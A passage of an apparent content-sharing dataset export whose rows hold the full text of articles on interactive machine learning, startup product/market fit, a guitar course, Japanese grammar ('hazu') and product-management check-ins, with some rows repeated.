improvements. In practice, this cumbersome cycle means that machine learning systems ship with problems that are obvious to end users or are simply too expensive to build for many real problems. To escape this pattern we have to put the power to create classifiers directly in the hands of users. Now, no user wants to ""create a classifier"". So, in order to give them this power we need to design interfaces that let them label samples, select features, and do all the other actions involved in a way that fits with their existing mental models and workflows. When we figure out how to do this the results can be extremely powerful. One of the most impressive experiments I've seen in Interactive Machine Learning is Saleema Amershi 's work on Facebook group invites, ReGroup: Interactive Machine Learning for On-Demand Group Creation in Social Networks . The current Facebook event invite experience goes like this: you create a new event and go to invite friends. Facebook presents you with an alphabetical list of all of your hundreds of friends with a checkbox by each one. You look at this list in despair and then click the box to ""invite all"". And hundreds of your friends get invites to events they'll never be able to attend in a city where they don't live. The ReGroup system Amershi and her team put together improves on this dramatically. It starts you with the same list of names with checkboxes. But then when you check a name it treats that check as a positively labeled sample. And it treats any names you skipped as negatively labeled samples. It uses this data to train a classifier, treating profile data and social connections as the features. It computes a likelihood for each of your friends that you'll check the box next to them and sorts the most likely ones to the top. The features that determine event revelance are relatively strong and simple - where people live, what social connections you have in common, how long ago you friended them etc. - the classifier's results rapidly become useful. This work is an incredibly elegant match between existing user interaction patterns and what's needed to train a classifier. Another great example is CueFlik , a project by Fogarty et al that improves web-based image search by letting users create rules that automatically group photos by their visual qualities. For example (as shown above), a user might search for ""stereo"" and then select just the ""product photos"" (those on a clean white background). CueFlick takes these examples and learns a classifier that can distinguish product photos from natural photos that users can later choose to apply to other searches beyond the initial search for ""stereo"", for example to ""cars"" or ""phones"".",en
1467652008,CONTENT REMOVED,365571143597993923,-1443636648652872475,6885512560807851601,,,,HTML,https://medium.com/@atduskgreg/power-to-the-people-how-one-unknown-group-of-researchers-holds-the-key-to-using-ai-to-solve-real-cc9e75b1f334,Power to the People: How One Unknown Group of Researchers Holds the Key to Using AI to Solve Real...,"Use Active Learning to Get the Most Help from Humans The core job of most machine learning systems is to generalize from sample data created by humans. The learning process starts with humans creating a bunch of labeled data: images annotated with the objects they depict, pictures of faces with the names of the people, speech recordings with an accurate transcript, etc. Then comes training. A machine learning algorithm processes all that human-labeled data. At the end of training the learning algorithm produces a classifier, essentially a small standalone program that can provide the right answer for new input that was not part of the human-labeled training data. That classifier is what you then deploy into the world to guess your users' age, or recognize their friends' faces, or or transcribe their speech when they talk to their phone. The scarce resource in this equation is the human labor needed to label the training data in the first place. Many impressive Deep Learning results come from domains where enormous amounts of labeled data is available because it was shared by a social network's billion users or crawled from across the web . However, unless you're Facebook or Google, you'll likely find labeled data relevant to your problem somewhat more scarce, especially if you're working in some new vertical that has its own jargon or behavior or data sources. Hence you'll need to get your labels from your users. This entails building some kind of interface that shows them examples of the texts or images or other inputs you want to be able to classify and gets them to submit the correct labels. But, again, human labor - particularly when it's coming from your users - is a scarce resource. So, you'll want to only ask your users to label the data that will improve your system's results the most. Active Learning is the name for the field of machine learning that studies exactly this problem: how to find the samples for which a human label would help the system improve the most. Researchers have found a number of algorithmic approaches to this problem. These include techniques for finding the sample about which the system has the greatest uncertainty, detecting samples for which a label would cause the greatest change to the system's results, selecting samples for which the system expects that its predictions would have the highest error, and others. Burr Settles' excellent survey of Active Learning provides a great introduction to the field. As a concrete example of these ideas, here's a video demonstrating a hand gesture recognition system I built that uses Active Learning principles to request labels from the user when it sees a gesture for which it cannot make a clear prediction (details about this work here ): Don't Treat the User as an ""Oracle"" Active Learning researchers have shown success in producing higher accuracy classifiers with fewer labeled samples. Active Learning is a great way to pull the most learning out of the the labeling work you get your users to do. However, from an interaction design perspective, Active Learning has a major downside: it puts the learning system in charge of the interaction rather than the human user. Active Learning researchers refer to the human who labels the samples they select as an ""oracle"". Well, Interactive Machine Learning researchers have shown that humans don't like being treated as an oracle. In a 2010 paper, Designing Interactions for Robot Active Learners , Cakmak et al studied user perceptions of passive and active approaches to teaching a robot to recognize shapes. One option put the robot in charge. It would use Active Learning to determine the shape it wanted labeled next. Then it would point at the shape and the user would provide the answer. The other option put the users in charge, letting them select which examples to show the robot. When the robot was in charge of the interaction, selecting which sample it wanted labeled in the Active Learning style, users found the robot's stream of questions ""imbalanced and annoying"". Users also reported a worse understanding of the state of the robot's learning making them worse teachers. In a software context, Guillory and Blimes found similar feelings while attempting to apply active learning to Netflix's movie rating interface. Choose Algorithms for Their Ability to Explain Classification Results Imagine you have a persistent health problem that you need diagnosed. You have the choice of two AI systems you can use. System A has a 90% accuracy rate, the best available. It takes in your medical history, all your scans and other data and gives back a diagnosis. You can't ask it any questions or find out how it arrived at that diagnosis. You just get back the latin name for your condition and a wikipedia link. System B has an 85% accuracy rate, substantially less than System A. System B takes all your medical data and also comes back with a diagnosis. But unlike System A it also tells you how it arrived at that diagnosis. Your blood pressure is past a certain threshold, you're above a certain age, you have three of five factors from your family history, etc. Which of these two systems would you choose? There's a cliche from marketing that half of the advertising budget is wasted but no one knows which half. Machine learning researchers have a related cliche: it's easy to create a system that can be right 80% of the time, the hard part of figuring out which 80% is right. Users trust learning systems more when they can understand how they arrive at their decisions. And they are better able to correct and improve these systems when they can see the internals of their operation. So, if we want to build systems that users trust and that we can rapidly improve, we should select algorithms not just for how often they produce the right answer, but for what hooks they provide for explaining their inner workings. Some machine learning algorithms provide more of these types of affordances than others. For example, the neural networks currently pushing the state-of-the-art in accuracy on so many problems provide particularly few hooks for such explanations. They are basically big black boxes that spit out an answer (though some researchers are working on this problem). On the other hand, Random Decision Forests provide incredibly rich affordances for explaining classifications and building interactive controls of learning systems. You can figure out which variables were most important, the system's confidence about each prediction, the proximity between any two samples, etc. You wouldn't select a database or web server or javascript framework simply because of its performance benchmarks. You'd look at the API and see how much it supported the interface you want to provide your users. Similarly, as designers of machine learning systems we should expect to have the ability to access the internal state of our classifiers in order to build richer, more interactive interfaces for our users. Beyond our own design work on these systems, we want to empower our users themselves to improve and control the results they receive. Todd Kulesza , at Microsoft Research, has done extensive work on exactly this problem which he calls Explanatory Debugging . Kulesza's work produces machine learning systems that explain their classification results. These explanations themselves then act as an interface through which users can provide feedback to improve and, importantly, personalize the results. His paper on Why-Oriented End-User Debugging of Naive Bayes Text Classification provides a powerful and concrete example of the idea. Empowering Users to Create Their Own Classifiers In conventional machine learning practice, engineers build classifiers, designers integrate them into interfaces, and then users interact with their results. The problem with this pattern is that it divorces the practice of machine learning from knowledge about the problem domain and the ability to evaluate the system's results. Machine learning engineers or data scientists may understand the available algorithms and the statistical tests used to evaluate their results, but they don't truly understand the input data and they can't see problems in the results that would be obvious to their users. At best this pattern results in an extremely slow iteration cycle. Machine learning engineers return to their users with each iteration of the system, slowly learning about the domain and making incremental improvements. In practice, this cumbersome cycle means that machine learning systems ship with problems that are obvious to end users or are simply too expensive to build for many real problems. To escape this pattern we have to put the power to create classifiers directly in the hands of users. Now, no user wants to ""create a classifier"". So, in order to give them this power we need to design interfaces that let them label samples, select features, and do all the other actions involved in a way that fits with their existing mental models and workflows. When we figure out how to do this the results can be extremely powerful. One of the most impressive experiments I've seen in Interactive Machine Learning is Saleema Amershi 's work on Facebook group invites, ReGroup: Interactive Machine Learning for On-Demand Group Creation in Social Networks . The current Facebook event invite experience goes like this: you create a new event and go to invite friends. Facebook presents you with an alphabetical list of all of your hundreds of friends with a checkbox by each one. You look at this list in despair and then click the box to ""invite all"". And hundreds of your friends get invites to events they'll never be able to attend in a city where they don't live. The ReGroup system Amershi and her team put together improves on this dramatically. It starts you with the same list of names with checkboxes. But then when you check a name it treats that check as a positively labeled sample. And it treats any names you skipped as negatively labeled samples. It uses this data to train a classifier, treating profile data and social connections as the features. It computes a likelihood for each of your friends that you'll check the box next to them and sorts the most likely ones to the top. The features that determine event revelance are relatively strong and simple - where people live, what social connections you have in common, how long ago you friended them etc. - the classifier's results rapidly become useful. This work is an incredibly elegant match between existing user interaction patterns and what's needed to train a classifier. Another great example is CueFlik , a project by Fogarty et al that improves web-based image search by letting users create rules that automatically group photos by their visual qualities. For example (as shown above), a user might search for ""stereo"" and then select just the ""product photos"" (those on a clean white background). CueFlick takes these examples and learns a classifier that can distinguish product photos from natural photos that users can later choose to apply to other searches beyond the initial search for ""stereo"", for example to ""cars"" or ""phones"".",en
1467652029,CONTENT SHARED,5092635400707338872,-1443636648652872475,6885512560807851601,,,,HTML,https://medium.com/@atduskgreg/power-to-the-people-how-one-unknown-group-of-researchers-holds-the-key-to-using-ai-to-solve-real-cc9e75b1f334,Power to the People: How One Unknown Group of Researchers Holds the Key to Using AI to Solve Real...,"Use Active Learning to Get the Most Help from Humans The core job of most machine learning systems is to generalize from sample data created by humans. The learning process starts with humans creating a bunch of labeled data: images annotated with the objects they depict, pictures of faces with the names of the people, speech recordings with an accurate transcript, etc. Then comes training. A machine learning algorithm processes all that human-labeled data. At the end of training the learning algorithm produces a classifier, essentially a small standalone program that can provide the right answer for new input that was not part of the human-labeled training data. That classifier is what you then deploy into the world to guess your users' age, or recognize their friends' faces, or or transcribe their speech when they talk to their phone. The scarce resource in this equation is the human labor needed to label the training data in the first place. Many impressive Deep Learning results come from domains where enormous amounts of labeled data is available because it was shared by a social network's billion users or crawled from across the web . However, unless you're Facebook or Google, you'll likely find labeled data relevant to your problem somewhat more scarce, especially if you're working in some new vertical that has its own jargon or behavior or data sources. Hence you'll need to get your labels from your users. This entails building some kind of interface that shows them examples of the texts or images or other inputs you want to be able to classify and gets them to submit the correct labels. But, again, human labor - particularly when it's coming from your users - is a scarce resource. So, you'll want to only ask your users to label the data that will improve your system's results the most. Active Learning is the name for the field of machine learning that studies exactly this problem: how to find the samples for which a human label would help the system improve the most. Researchers have found a number of algorithmic approaches to this problem. These include techniques for finding the sample about which the system has the greatest uncertainty, detecting samples for which a label would cause the greatest change to the system's results, selecting samples for which the system expects that its predictions would have the highest error, and others. Burr Settles' excellent survey of Active Learning provides a great introduction to the field. As a concrete example of these ideas, here's a video demonstrating a hand gesture recognition system I built that uses Active Learning principles to request labels from the user when it sees a gesture for which it cannot make a clear prediction (details about this work here ): Don't Treat the User as an ""Oracle"" Active Learning researchers have shown success in producing higher accuracy classifiers with fewer labeled samples. Active Learning is a great way to pull the most learning out of the the labeling work you get your users to do. However, from an interaction design perspective, Active Learning has a major downside: it puts the learning system in charge of the interaction rather than the human user. Active Learning researchers refer to the human who labels the samples they select as an ""oracle"". Well, Interactive Machine Learning researchers have shown that humans don't like being treated as an oracle. In a 2010 paper, Designing Interactions for Robot Active Learners , Cakmak et al studied user perceptions of passive and active approaches to teaching a robot to recognize shapes. One option put the robot in charge. It would use Active Learning to determine the shape it wanted labeled next. Then it would point at the shape and the user would provide the answer. The other option put the users in charge, letting them select which examples to show the robot. When the robot was in charge of the interaction, selecting which sample it wanted labeled in the Active Learning style, users found the robot's stream of questions ""imbalanced and annoying"". Users also reported a worse understanding of the state of the robot's learning making them worse teachers. In a software context, Guillory and Blimes found similar feelings while attempting to apply active learning to Netflix's movie rating interface. Choose Algorithms for Their Ability to Explain Classification Results Imagine you have a persistent health problem that you need diagnosed. You have the choice of two AI systems you can use. System A has a 90% accuracy rate, the best available. It takes in your medical history, all your scans and other data and gives back a diagnosis. You can't ask it any questions or find out how it arrived at that diagnosis. You just get back the latin name for your condition and a wikipedia link. System B has an 85% accuracy rate, substantially less than System A. System B takes all your medical data and also comes back with a diagnosis. But unlike System A it also tells you how it arrived at that diagnosis. Your blood pressure is past a certain threshold, you're above a certain age, you have three of five factors from your family history, etc. Which of these two systems would you choose? There's a cliche from marketing that half of the advertising budget is wasted but no one knows which half. Machine learning researchers have a related cliche: it's easy to create a system that can be right 80% of the time, the hard part of figuring out which 80% is right. Users trust learning systems more when they can understand how they arrive at their decisions. And they are better able to correct and improve these systems when they can see the internals of their operation. So, if we want to build systems that users trust and that we can rapidly improve, we should select algorithms not just for how often they produce the right answer, but for what hooks they provide for explaining their inner workings. Some machine learning algorithms provide more of these types of affordances than others. For example, the neural networks currently pushing the state-of-the-art in accuracy on so many problems provide particularly few hooks for such explanations. They are basically big black boxes that spit out an answer (though some researchers are working on this problem). On the other hand, Random Decision Forests provide incredibly rich affordances for explaining classifications and building interactive controls of learning systems. You can figure out which variables were most important, the system's confidence about each prediction, the proximity between any two samples, etc. You wouldn't select a database or web server or javascript framework simply because of its performance benchmarks. You'd look at the API and see how much it supported the interface you want to provide your users. Similarly, as designers of machine learning systems we should expect to have the ability to access the internal state of our classifiers in order to build richer, more interactive interfaces for our users. Beyond our own design work on these systems, we want to empower our users themselves to improve and control the results they receive. Todd Kulesza , at Microsoft Research, has done extensive work on exactly this problem which he calls Explanatory Debugging . Kulesza's work produces machine learning systems that explain their classification results. These explanations themselves then act as an interface through which users can provide feedback to improve and, importantly, personalize the results. His paper on Why-Oriented End-User Debugging of Naive Bayes Text Classification provides a powerful and concrete example of the idea. Empowering Users to Create Their Own Classifiers In conventional machine learning practice, engineers build classifiers, designers integrate them into interfaces, and then users interact with their results. The problem with this pattern is that it divorces the practice of machine learning from knowledge about the problem domain and the ability to evaluate the system's results. Machine learning engineers or data scientists may understand the available algorithms and the statistical tests used to evaluate their results, but they don't truly understand the input data and they can't see problems in the results that would be obvious to their users. At best this pattern results in an extremely slow iteration cycle. Machine learning engineers return to their users with each iteration of the system, slowly learning about the domain and making incremental improvements. In practice, this cumbersome cycle means that machine learning systems ship with problems that are obvious to end users or are simply too expensive to build for many real problems. To escape this pattern we have to put the power to create classifiers directly in the hands of users. Now, no user wants to ""create a classifier"". So, in order to give them this power we need to design interfaces that let them label samples, select features, and do all the other actions involved in a way that fits with their existing mental models and workflows. When we figure out how to do this the results can be extremely powerful. One of the most impressive experiments I've seen in Interactive Machine Learning is Saleema Amershi 's work on Facebook group invites, ReGroup: Interactive Machine Learning for On-Demand Group Creation in Social Networks . The current Facebook event invite experience goes like this: you create a new event and go to invite friends. Facebook presents you with an alphabetical list of all of your hundreds of friends with a checkbox by each one. You look at this list in despair and then click the box to ""invite all"". And hundreds of your friends get invites to events they'll never be able to attend in a city where they don't live. The ReGroup system Amershi and her team put together improves on this dramatically. It starts you with the same list of names with checkboxes. But then when you check a name it treats that check as a positively labeled sample. And it treats any names you skipped as negatively labeled samples. It uses this data to train a classifier, treating profile data and social connections as the features. It computes a likelihood for each of your friends that you'll check the box next to them and sorts the most likely ones to the top. The features that determine event revelance are relatively strong and simple - where people live, what social connections you have in common, how long ago you friended them etc. - the classifier's results rapidly become useful. This work is an incredibly elegant match between existing user interaction patterns and what's needed to train a classifier. Another great example is CueFlik , a project by Fogarty et al that improves web-based image search by letting users create rules that automatically group photos by their visual qualities. For example (as shown above), a user might search for ""stereo"" and then select just the ""product photos"" (those on a clean white background). CueFlick takes these examples and learns a classifier that can distinguish product photos from natural photos that users can later choose to apply to other searches beyond the initial search for ""stereo"", for example to ""cars"" or ""phones"".",en
1467653065,CONTENT SHARED,-9190737901804729417,-108842214936804958,7085372222303681846,,,,HTML,http://themacro.com/articles/2016/06/the-real-product-market-fit/,The Real Product Market Fit,"Michael Seibel, Y Combinator Partner, on knowing when you've found product market fit and when to keep looking. For weekly recaps of The Macro, sign up here . I often talk to founders who believe they've found product/market fit when they haven't. This is a huge problem because they start hiring people, increasing burn, and optimizing their product before they've actually discovered what needs to be built. I'm writing this post to help you understand when you've really found product/market fit. To start, read Marc Andreessen's "" On product/market fit for startups "". It has been the single most influential post for me as an entrepreneur and was the first time I ever read the term. Here's how Andreessen defines product/market fit: The customers are buying the product just as fast as you can make it -- or usage is growing just as fast as you can add more servers. Money from customers is piling up in your company checking account. You're hiring sales and customer support staff as fast as you can. To put this another way, you have reached product/market fit when you are overwhelmed with usage-usually to the point where you can't even make major changes to your product because you are swamped just keeping it up and running. Founders often try to signal they've reached product/market by pointing to their number of employees or a major round of funding. What I look for is a frantic founding team trying to deal with ever-growing numbers of happy, loyal, and ideally paying customers. Until then, stay lean, keep burn low, and resemble a Navy SEAL team instead of an Army battalion. Finding product market fit = focusing on the market first Founders often hold too tightly onto solutions and too loosely onto problems. The problem, i.e. the market, is the real opportunity. Your unique and special v1 idea on how to solve that problem is usually wrong and only through launching, talking to customers, and iterating will you actually find a product that reaches product market fit. Founder genius is most often expressed in choosing the right problem to solve. As Andreessen wrote, ""the market pulls product out of the startup"". At Sequoia, they talk about finding customers who ""have their hair on fire"". As a founder, I never took the time to really understand what that meant and I thought it was just an investor marketing saying. Now, when I talk to founders I extend the metaphor to illustrate it more clearly. If your friend was standing next to you and their hair was on fire, that fire would be the only thing they really cared about in this world. It wouldn't matter if they were hungry, just suffered a bad breakup, or were running late to a meeting-they'd prioritize putting the fire out. If you handed them a hose-the perfect product/solution-they would put the fire out immediately and go on their way. If you handed them a brick they would still grab it and try to hit themselves on the head to put out the fire. You need to find problems so dire that users are willing try half-baked, v1, imperfect solutions. At YC, we encourage founders to build MVPs (minimum viable products). In a good market, an MVP is all you need to get your initial customers in the door, interacting with you, and offering the feedback that will inform your v2, v3, and v4. The advantage that small companies have over big ones is that they can move fast, deal with problems by having unusually good customer service, and their customers expect less. So to find product market fit, choose a market where users have a real, meaningful problem, launch quickly, and listen to your users. Once you've actually reached product/market fit-congratulations-you can begin optimizing your core product, hiring specialists to increase your efficiency, and make strategic investments. Also, you've made it further than most startups ever dream. Sign up for weekly recaps of The Macro .",en
1467660983,CONTENT SHARED,4402253552023115142,3829784524040647339,9117577064807569178,,,,HTML,https://www.coursera.org/learn/guitar?recoOrder=4&utm_medium=email&utm_source=recommendations&utm_campaign=recommendationsEmail~recs_email_2016_07_03_17:57,Introduction to Guitar - Berklee | Coursera,"About this course: Grasp the essentials needed to begin playing acoustic or electric guitar. You'll learn an easy approach to get you playing quickly, through a combination of exploring the instrument, performance technique, and basic music theory. For students who have long thought about picking up the acoustic or electric guitar, this course will provide an easy-access foundation that will get you playing. When first learning guitar, it is important to have the material presented in stages, in an enjoyable way that allows you to grasp the basics of the instrument and music. The course begins simply with the parts of the guitar, the names of the strings, tuning, and technique-whether finger-style or pick. It then explores the basics of music theory with such topics as scales, triads, power chords, and fingering and shapes. At the end of this course, students will understand the structure, parts, and accessories of the instrument, in addition to an understanding of its basic maintenance. Electric guitar players will learn the operation of their instrument along with basic options for amplification, effect pedals, and sounds. Students will also learn to develop correct technique and apply theory concepts to their playing. They will have the foundational knowledge necessary to pursue most intermediate guitar courses.",en
1467661611,CONTENT SHARED,476793294516827044,3217014177234377440,2216758203252531925,,,,HTML,https://player.fm/series/canaltech-podcast/visa-de-olho-no-futuro-do-mercado-financeiro-ct-entrevista,[Podcast] Visa: de olho no futuro do mercado financeiro [CT Entrevista],"Welcome to Player FM What if radio played only the shows you care about, when you want? Player FM is scanning the web for high-quality podcast content right now. Try us out on any web browser - desktop, mobile, or tablet. Band - Na Ponta do Lpis, com Marcos Silvestre e Felipe Bueno com Marcos Silvestre e Felipe Bueno",en
1467661682,CONTENT REMOVED,476793294516827044,3217014177234377440,2216758203252531925,,,,HTML,https://player.fm/series/canaltech-podcast/visa-de-olho-no-futuro-do-mercado-financeiro-ct-entrevista,[Podcast] Visa: de olho no futuro do mercado financeiro [CT Entrevista],"Welcome to Player FM What if radio played only the shows you care about, when you want? Player FM is scanning the web for high-quality podcast content right now. Try us out on any web browser - desktop, mobile, or tablet. Band - Na Ponta do Lpis, com Marcos Silvestre e Felipe Bueno com Marcos Silvestre e Felipe Bueno",en
1467662560,CONTENT SHARED,-9216926795620865886,-7711052404720939396,-1358388252171356050,,,,HTML,http://maggiesensei.com/2012/11/14/request-lesson-how-and-when-to-use-%E3%81%AF%E3%81%9Ahazu/,Request lesson : How and when to use はず(=hazu) | Maggie Sensei,"= Kotoshi no aki made niwa kare ga dekiru hazu datta noni... = I was supposed to be able to get a boyfriend by this autumn... Hi, everyone! Today's lesson is my Twitter follower, David and Facebook fan(!?) mew. They both asked me to make a lesson on how and when to use はず (= hazu). I was going to make a mini lesson on Facebook, but it got longer than I expected so here it is. You might think the usage of はず(=hazu) is easy, 易しいはず！= Yasashii hazu = It should be easy! Still the difference of two past tense forms and negative forms might confuse you. Hopefully this lesson will clear things up. to be supposed to do/be, when you expect something, It is certain ~/ must ~ / should~ verb (plain form ) + はず (= hazu) + だ(=da)/ です(=desu) * (です(=desu) is a polite form.) to be supposed to be/do, / I expect ~ / things should work as you have expected. = Kono omocha wa denchi wo iretara ugoku hazu desu. = This toy is supposed to move when you put in batteries. = Maggie wa ima ie ni iru hazu da. = Maggie should be home now. = Koredake benkyou sureba daredemo shiken ni ukaru hazu da. = Ashita nimotsu ga todoku hazuda. = The package is supposed to be delivered tomorrow. / I expect the package will be delivered tomorrow. = Kanojo mo kaigi ni shusseki suru hazu desu. = Mousugu takushii ga kuru hazu desu. = Ano omise wa sokosoko moukatte iru hazu da. = Kono saito ni mainichi kitara ichinengo ni wa nihongo ga kanari joutatsu shiteiru hazu desu. = If you come to this site everyday, your Japanese should improve a lot. When things don't work out as we have expected, we use = hazu nanoni = It is supposed to be ~ but... = Shinbun wa maiasa rokuji ni haitatsu sareru hazu nanoni kyou wa mada kite inai. = They are supposed to deliver the newspapers by 6:00 every morning but they haven't delivered it yet today. Variation : なんだけど(=nandakedo), なのだが (=nanodaga), なのですが(=nanodesu ga), etc. = Mou sororo kare kara denwa ga aru hazu nan dakedo... = He should call me at any minute, but ... (I expect he will call me at any minute.) but... ************************************** Verb Negative Form 1) : : to expect something/someone doesn't do something/isn't ~ = Maggie wa ima ie ni inai hazu da. = Ano geimu wa america dewa utte inai hazu da. = Kanojo wa mada hatachi (or nijussai) ni wa natte inai hazu da. = Konna muzukashii mondai wa kare ni wa tokenai hazu da. = He should not be able to solve such a difficult problem. = Dare mo watashitachi no ibasho wo shiranai hazu nano daga... = Nobody is supposed to know where we are but... = There is no way that someone/something does/is ~ = Kanojo ga anna otoko wo suki ni naru hazu ga nai. = There is no way that she would like that kind of man. = Risou no kare nante iru hazu ga nai. = There is no such thing as an ideal boyfriend. = Sonna yarikata de umaku iku hazu ga arimasen. = It would never work like that. / Things shouldn't work that way. Note : (=hazu ga (wa) nai) is similar to わけがない(=wake ga nai)/ わけはない(=wake wa nai) Go check this lesson (the same thing) ● When you are sure something had happened in past / you or someone did something. /I expect something happened/ I expect someone did something. = Kinou kare wa koko ni kita hazu da. = He must have come here yesterday. = Mou minna neta hazu nanoni ikkai de monooto ga suru. = Everybody should have gone to bed already, but I hear something downstairs. = Isogashii karatte denwa gurai kakeru koto ga dekita hazu desho! = Even though you were busy, you could have at least called me. = Benkyou shinai to shiken niwa ukaranai to wakatte ita hazu da. = You should have known you would fail you didn't study = Koko ni saifu wo oite oita hazu nanoni nai. = I thought I have put my wallet, here but it is gone. = Kasa wo motte kita hazunan dakedo... = Shinda hazu no kare ni atta toiu hito ga iru. = There are people who said they had seen him - and he's supposed to be dead. / There are people who have seen (the supposedly dead) him. = Kono hanashi wa Maggie wa shiranakatta hazu da. = I am sure Maggie didn't know about this. = Anohito no koto wa mou wasureta hazu nanoni... Verb Past Tense 2) = was supposed/expected to have done something/been ~ It is used when the things didn't turn out to be what you had expected. You can tell the speaker is expressing the feelings of regret, unsatisfied feelings, etc. = Kare towa kinou au hazu datta. = I was supposed to see him yesterday. = Subete umaku iku hazu datta noni... = Everything should have gone well. = Kono mama ikeba ooganemochi ni naru hazu datta noni.. = If things had worked out , I would supposedly have become a millionaire Verb past tense 2) - negative form : I was not supposed to do something (expressing the feeling of regret, Disappointment or dissatisfaction) = Konna tokoro ni kuru hazu dewa nakatta. = I was not going to come this kind of place. / I wasn't going to come to a place like this. (more casual) = Konna tokoro ni kuru hazu ja(a) nakatta. Note : In case you get confused... Here is the difference. = Maggie wa sanji ni tsuku hazu da = Maggie is supposed to arrive at 3 o'clock. = Maggie wa sanji ni tsuita hazu da. = I expect Maggie arrived at 3:00 = Maggie wa sanji ni tsuku hazu datta. = Maggie was supposed to arrive at 3:00. (but she didn't) = Kotoshi no aki made niwa kare ga dekiru hazu datta noni... = I was supposed to be able to get a boyfriend by this autumn... Note : The translation could be the same, It must be Maggie Sensei who ate my snack. = Watashi no oyatsu wo tabeta no wa Maggie sensei ni chigainai. = Watashi no oyatsu wo tabeta no wa Maggie sensei no hazu da. 違いない(=chinagainai) : when you guess something by intuitive assumption, はず (=hazu) is based on more logical assumption or reliable information. 美味しいはずだ(=oishii hazu da) /美味しいはずです(=oishii hazu desu.) = It should be delicious = Kanojo no tsukutta mono nara nandemo oishii hazuda. = Everything she makes must be delicious./ I expect everything she makes is delicious. = Ano doresu wa kouka na hazu da. = That dress must be expensive. = Maggie no imouto nara kawaii hazu desu. = If she is Maggie's younger sister, she must be cute = Ashita no shiken wa kantanna hazu da. = Maggie Sensei wa shigoto chuu wa motto majime na hazu da. = I expect Maggie Sensei is more serious when she works. / Maggie Sensei should be more serious when she works. Ex. 便利なはずのスマホが時々すごく不便に感じる。 = Benrina hazu no sumaho ga tokidoki sugoku fuben ni kanjiru. There are two negative forms. = Maggie no ryouri ga oishii hazu ga nai. = There is no way that Maggie's cooking is delicious. / Maggie's cooking can't be delicious. / I expect Maggie's cooking can't be good. = Maggie no ryouri wa oishiku nai hazu da. = Maggie's cooking is supposed to be bad. (not delicious) / I am sure that Maggie's cooking is bad. The difference between 1) and 2) Adjectives double negative : But it is more common to say... When you are sure someone/something was ~ in past. /It/Someone was expected to be ~ in past Ex. 今でもこんなにかわいいのだから小さい頃、マギーはもっとかわいかった はずだ。 = Ima demo konnani kawaiino dakara chiisai koro Maggie wa motto kawaikatta hazu da. = Since Maggie is this cute now, she must have been much cuter when she was little. = Kanojo no uedingu doresu sugata wa suteki datta hazu da. = Kinou wa heijitsu datta kara shizuka datta hazuda. = Since it was a weekday yesterday, it must have been very quiet. = Jibun ni totte tokubetu na hazu datta hito ga kirai ni natte kita. = I've come to dislike someone who was supposed to be special for me. Nouns : = Shiken wa ashita no hazu da. = Kare ga sagashite ita no wa kono hon no hazu da. = The book he was looking for should be this one. = Tashika ni kono michi no hazu da ga... = I'm certain to take this street but.. (It should be this street but..) = Gonen mae kare wa mada shougakusei datta hazuda. = Anohito no ie wa kono hen datta hazuda. = Anokoro no yachin wa nanaman-en datta hazu desu. = I think the rent at that time must have been 70,000 yen. Past tense with a noun 2) You use this form when things didn't work out as you planned and you wonder why or express your complains, regrets or unsatisfactory feelings. = Kondo kau no wa neko no hazu datta ga inu wo kau koto ni natta. = Ashita wa kyuujitu no hazu deshita ga shigoto wo shinakute wa ikenaku narimashita. = It was supposed to be my day off tomorrow, but I'll have to work after all. = Kare to wa tomodachi no hazu datta noni dandan suki ni natte kita. = We were supposed to be (just) friends, but I've begun to like him. = Konna hazu de wa nakatta Note : Again, colloquial Japanese では(= dewa) →じゃ（あ）= ja (a) = Konna hazuja nakatta. = Konsaato wa rokuji ni hajimarun dakke? = The concert will start at 6:00, right? マギー先生より= Maggie Sensei yori = From Maggie Sensei ああ、こんな長いレッスンになるはずじゃなかったんだけど... = Aah, konna nagai ressun ni naru hazu ja nakattan dakedo... = Ah... it wasn't supposed to be this long a lesson but... = Demo kore de minna ""Hazu"" no tsukai kataga wakatta hazu dayone.",la
1467668435,CONTENT SHARED,-6096307037126839100,3609194402293569455,-5712643349614676240,,,,HTML,https://medium.com/the-mission/how-to-scale-yourself-the-99-50-1-framework-7798518f36e1,How to scale yourself: the '99/50/1' framework - The Mission,"How to scale yourself: the '99/50/1' framework Manage products and scale yourself in chaotic environments I was having lunch with my friend Brennan , from SoapBox , and we talked about growing a company. He mentioned this great method for managing multiple products in a chaotic environment (typically startups). Being a founder, product manager or director can be tricky. The more stuff there is to build and manage, the easier it is for stuff to slip through the cracks. Quality declines or backlog builds up. You need to scale yourself. In order to avoid both those unpleasant fates, Brennan told me about the 1/50/99% framework - I've since flipped it to the 99/50/1% method  - which he uses to stay on top of multiple projects. The method is a framework for when you should check in with your product teams. I've taken it and adapted it to my own studio. If you want to use this method, you should check in with your product team at these critical points: During the beginning of the project, when there's still 99% of the work left to be done The halfway point, where there's around 50% of the work left Just before the finish line, where there's 1% left to complete Of course, you should be available to support, provide direction and get your hands dirty at all times and help eliminate roadblocks or clear up any confusion. 99%: High Level Strategy (Problem and Solution Definition) You want to get involved to help set the direction of the product. This is an extremely important phase. It's almost like hitting a golf ball. If you make an adjustment to your swing early on and change where you hit the ball by a few degrees or even millimeters, the ball will end up in a very different place as an end result. Typically, this involvement happens as a kickoff meeting(s) and/or initial design sprints. The most important outcome of this is for you and your team to set your vision and goals (""We want to be the best at..."" or, ""We want users to say [this] about us""). You also want to clearly communicate what success looks like. Most of the time, we try to make it as simple as possible by jointly setting objectives and key results (OKRs). Once the team is on the same page and understands success metrics, we get a bit more concrete. Here, you want to figure out deliverables, timelines, and milestones for the product. You'll also want to start defining the team and roles. During this kickoff meeting, you want to start considering the look and feel of the product. More importantly, you want to define the fundamental product and set direction for its features. There are generally three features we talk about in this kickoff meeting, which are based on the KANO model : Basic Characteristics: ""These are the characteristics we take for granted. Customers don't typically mention them, simply because they are so important or basic to the value equation."" Satisfiers: ""Satisfier characteristics are those that customers want as opposed to expect. The more we deliver, the happier the customer. Doing well here allows us to create satisfied customers."" Delighters: ""Delighters are those characteristics that represent a positive surprise to the customer. They are totally unexpected. As such, if they are not present, they cause no dissatisfaction. Moreover, customers will not mention such things as important on customer surveys because they are, after all, totally unexpected by definition. But when delivered to the customer, delighters raise satisfaction and loyalty."" This kickoff meeting is a group exercise that involves the entire product team. We typically end up finding consensus, but if the situation calls for it I will make the final call. That's your responsibility as well. By the end of the kickoff meeting, if all goes well, we're all marching in the same direction, we have a very clear idea of what we need to do, and we have a very clear goal we're all working towards. Everybody should feel enabled to get the project done, and should feel really great about starting and getting from 99% incomplete to 50% incomplete. Ideally, you should also allocate some resources to figure out launch planning. A great launch starts from day one. Here are some of the activities that typically keep my team busy between 99% and 50%: Technical scoping 